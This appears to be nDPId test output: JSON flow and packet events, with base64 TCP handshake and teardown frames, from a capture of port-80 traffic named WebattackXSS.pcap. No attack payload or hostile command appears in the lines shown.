+00433{"flow_id":328,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4696,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347530,"pkt_ts_usec":758099,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0KhRAAEAGmcTAqAoyrBAAAQBQ4wR+L\/VRBVq+uYARAOPx0wAAAQEICgPk30MBOw3N"} +00433{"flow_id":328,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4697,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347530,"pkt_ts_usec":758629,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0K+pAAD4Gme6sEAABwKgKMuMEAFAFWr65fi\/1UoAQAOXx0QAAAQEICgE7Dc0D5N9D"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4701,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":332,"flow_packet_id":1,"flow_first_seen":1499347531303,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58184,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":332,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4701,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347531,"pkt_ts_usec":303327,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8MvhAAD4GktisEAABwKgKMuNIAFARgDytAAAAAKACchAdrgAAAgQFtAQCCAoBOw5VAAAAAAEDAwc="} +00445{"flow_id":332,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4702,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347531,"pkt_ts_usec":303484,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ40hb80TSEYA8rqAScSCaFwAAAgQFtAQCCAoD5N\/LATsOVQEDAwc="} +00434{"flow_id":332,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4703,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347531,"pkt_ts_usec":304259,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0MvlAAD4Gkt+sEAABwKgKMuNIAFARgDyuW\/NE04AQAOU5HgAAAQEICgE7DlYD5N\/L"} +00432{"flow_id":329,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4707,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347531,"pkt_ts_usec":758155,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0vNBAAD4GCQisEAABwKgKMuMSAFBd27WC1ZZOLoARAOX1ugAAAQEICgE7DscD5NrE"} +00432{"flow_id":329,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4708,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347531,"pkt_ts_usec":758401,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0rhNAAEAGFcXAqAoyrBAAAQBQ4xLVlk4uXdu1g4ARAOPwQgAAAQEICgPk4D0BOw7H"} +00432{"flow_id":329,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4709,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347531,"pkt_ts_usec":758921,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0vNFAAD4GCQesEAABwKgKMuMSAFBd27WD1ZZOL4AQAOXwQAAAAQEICgE7DscD5OA9"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4713,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":333,"flow_packet_id":1,"flow_first_seen":1499347532560,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58198,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":333,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4713,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347532,"pkt_ts_usec":560706,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8ro1AAD4GF0OsEAABwKgKMuNWAFA1F6EdAAAAAKACchCUXQAAAgQFtAQCCAoBOw+QAAAAAAEDAwc="} +00444{"flow_id":333,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4714,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347532,"pkt_ts_usec":560815,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ41Zu3G2tNRehHqAScSDTyAAAAgQFtAQCCAoD5OEFATsPkAEDAwc="} +00432{"flow_id":333,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4715,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347532,"pkt_ts_usec":561395,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0ro5AAD4GF0qsEAABwKgKMuNWAFA1F6EebtxtroAQAOVy0AAAAQEICgE7D5AD5OEF"} +00432{"flow_id":330,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4719,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347532,"pkt_ts_usec":758066,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA04v1AAD4G4tqsEAABwKgKMuMgAFAAyeh4bSF30IARAOVcZQAAAQEICgE7D8ED5NwB"} +00433{"flow_id":330,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4720,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347532,"pkt_ts_usec":758249,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0ludAAEAGLPHAqAoyrBAAAQBQ4yBtIXfQAMnoeYARAONXMAAAAQEICgPk4TcBOw\/B"} +00432{"flow_id":330,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4721,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347532,"pkt_ts_usec":758830,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA04v5AAD4G4tmsEAABwKgKMuMgAFAAyeh5bSF30YAQAOVXLgAAAQEICgE7D8ED5OE3"} +00432{"flow_id":331,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4725,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347533,"pkt_ts_usec":758173,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA06xFAAD4G2sasEAABwKgKMuMuAFDPaODKI2bD1YARAOWQ5wAAAQEICgE7ELsD5N07"} +00432{"flow_id":331,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4726,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347533,"pkt_ts_usec":758393,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0IeRAAEAGofTAqAoyrBAAAQBQ4y4jZsPVz2jgy4ARAOOL8gAAAQEICgPk4jEBOxC7"} +00432{"flow_id":331,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4727,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347533,"pkt_ts_usec":759097,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA06xJAAD4G2sWsEAABwKgKMuMuAFDPaODLI2bD1oAQAOWL8AAAAQEICgE7ELsD5OIx"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4734,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":334,"flow_packet_id":1,"flow_first_seen":1499347535081,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58224,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":334,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4734,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347535,"pkt_ts_usec":81002,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8vMpAAD4GCQasEAABwKgKMuNwAFAre67MAAAAAKACchCNugAAAgQFtAQCCAoBOxIGAAAAAAEDAwc="} +00443{"flow_id":334,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4735,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347535,"pkt_ts_usec":81123,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ43Bd+kT3K3uuzaAScSAESAAAAgQFtAQCCAoD5ON7ATsSBgEDAwc="} +00431{"flow_id":334,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4736,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347535,"pkt_ts_usec":81893,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0vMtAAD4GCQ2sEAABwKgKMuNwAFAre67NXfpE+IAQAOWjTwAAAQEICgE7EgYD5ON7"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4743,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":335,"flow_packet_id":1,"flow_first_seen":1499347536332,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58238,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":335,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4743,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347536,"pkt_ts_usec":332683,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8iGJAAD4GPW6sEAABwKgKMuN+AFBSPZtdAAAAAKACchB5IAAAAgQFtAQCCAoBOxM\/AAAAAAEDAwc="} +00444{"flow_id":335,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4744,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347536,"pkt_ts_usec":332809,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ434l0Xf0Uj2bXqAScSDzoAAAAgQFtAQCCAoD5OS0ATsTPwEDAwc="} +00432{"flow_id":335,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4745,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347536,"pkt_ts_usec":333573,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0iGNAAD4GPXWsEAABwKgKMuN+AFBSPZteJdF39YAQAOWSqAAAAQEICgE7Ez8D5OS0"} +00434{"flow_id":332,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4749,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347536,"pkt_ts_usec":759045,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0MvpAAD4Gkt6sEAABwKgKMuNIAFARgDyuW\/NE04ARAOUzygAAAQEICgE7E6kD5N\/L"} +00432{"flow_id":332,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4750,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347536,"pkt_ts_usec":759262,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0ocxAAEAGIgzAqAoyrBAAAQBQ40hb80TTEYA8r4ARAOMudwAAAQEICgPk5R8BOxOp"} +00433{"flow_id":332,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4751,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347536,"pkt_ts_usec":759993,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0MvtAAD4Gkt2sEAABwKgKMuNIAFARgDyvW\/NE1IAQAOUudAAAAQEICgE7E6oD5OUf"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":4752,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":291,"flow_packet_id":6,"flow_first_seen":1499347462759,"flow_last_seen":1499347468740,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57454,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":4752,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":291,"flow_packet_id":6,"flow_first_seen":1499347462759,"flow_last_seen":1499347468740,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57454,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":4752,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":292,"flow_packet_id":6,"flow_first_seen":1499347465304,"flow_last_seen":1499347470740,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57480,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":4752,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":292,"flow_packet_id":6,"flow_first_seen":1499347465304,"flow_last_seen":1499347470740,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57480,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":4752,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":293,"flow_packet_id":6,"flow_first_seen":1499347466553,"flow_last_seen":1499347471741,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57494,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":4752,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":293,"flow_packet_id":6,"flow_first_seen":1499347466553,"flow_last_seen":1499347471741,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57494,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":4752,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":294,"flow_packet_id":6,"flow_first_seen":1499347467793,"flow_last_seen":1499347473742,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57508,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":4752,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":294,"flow_packet_id":6,"flow_first_seen":1499347467793,"flow_last_seen":1499347473742,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57508,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":4752,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":295,"flow_packet_id":6,"flow_first_seen":1499347469060,"flow_last_seen":1499347474742,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57522,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":4752,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":295,"flow_packet_id":6,"flow_first_seen":1499347469060,"flow_last_seen":1499347474742,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57522,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":4752,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":296,"flow_packet_id":7,"flow_first_seen":1499347470328,"flow_last_seen":1499347475742,"flow_tot_l4_data_len":240,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57536,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":4752,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":296,"flow_packet_id":7,"flow_first_seen":1499347470328,"flow_last_seen":1499347475742,"flow_tot_l4_data_len":240,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57536,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":4752,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":297,"flow_packet_id":6,"flow_first_seen":1499347471594,"flow_last_seen":1499347476742,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57550,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":4752,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":297,"flow_packet_id":6,"flow_first_seen":1499347471594,"flow_last_seen":1499347476742,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57550,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4755,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":336,"flow_packet_id":1,"flow_first_seen":1499347537591,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58252,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":336,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4755,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347537,"pkt_ts_usec":591583,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8UmRAAD4Gc2ysEAABwKgKMuOMAFC1fUYeAAAAAKACchBp1gAAAgQFtAQCCAoBOxR6AAAAAAEDAwc="} +00444{"flow_id":336,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4756,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347537,"pkt_ts_usec":591721,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ44xyZUlKtX1GH6AScSDFMQAAAgQFtAQCCAoD5OXvATsUegEDAwc="} +00432{"flow_id":336,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4757,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347537,"pkt_ts_usec":592283,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0UmVAAD4Gc3OsEAABwKgKMuOMAFC1fUYfcmVJS4AQAOVkOQAAAQEICgE7FHoD5OXv"} +00432{"flow_id":333,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4761,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347537,"pkt_ts_usec":759414,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0ro9AAD4GF0msEAABwKgKMuNWAFA1F6EebtxtroARAOVtuwAAAQEICgE7FKQD5OEF"} +00432{"flow_id":333,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4762,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347537,"pkt_ts_usec":759631,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0i7dAAEAGOCHAqAoyrBAAAQBQ41Zu3G2uNRehH4ARAONoqAAAAQEICgPk5hkBOxSk"} +00432{"flow_id":333,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4763,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347537,"pkt_ts_usec":760178,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0rpBAAD4GF0isEAABwKgKMuNWAFA1F6Efbtxtr4AQAOVopgAAAQEICgE7FKQD5OYZ"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4774,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":337,"flow_packet_id":1,"flow_first_seen":1499347540145,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58278,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 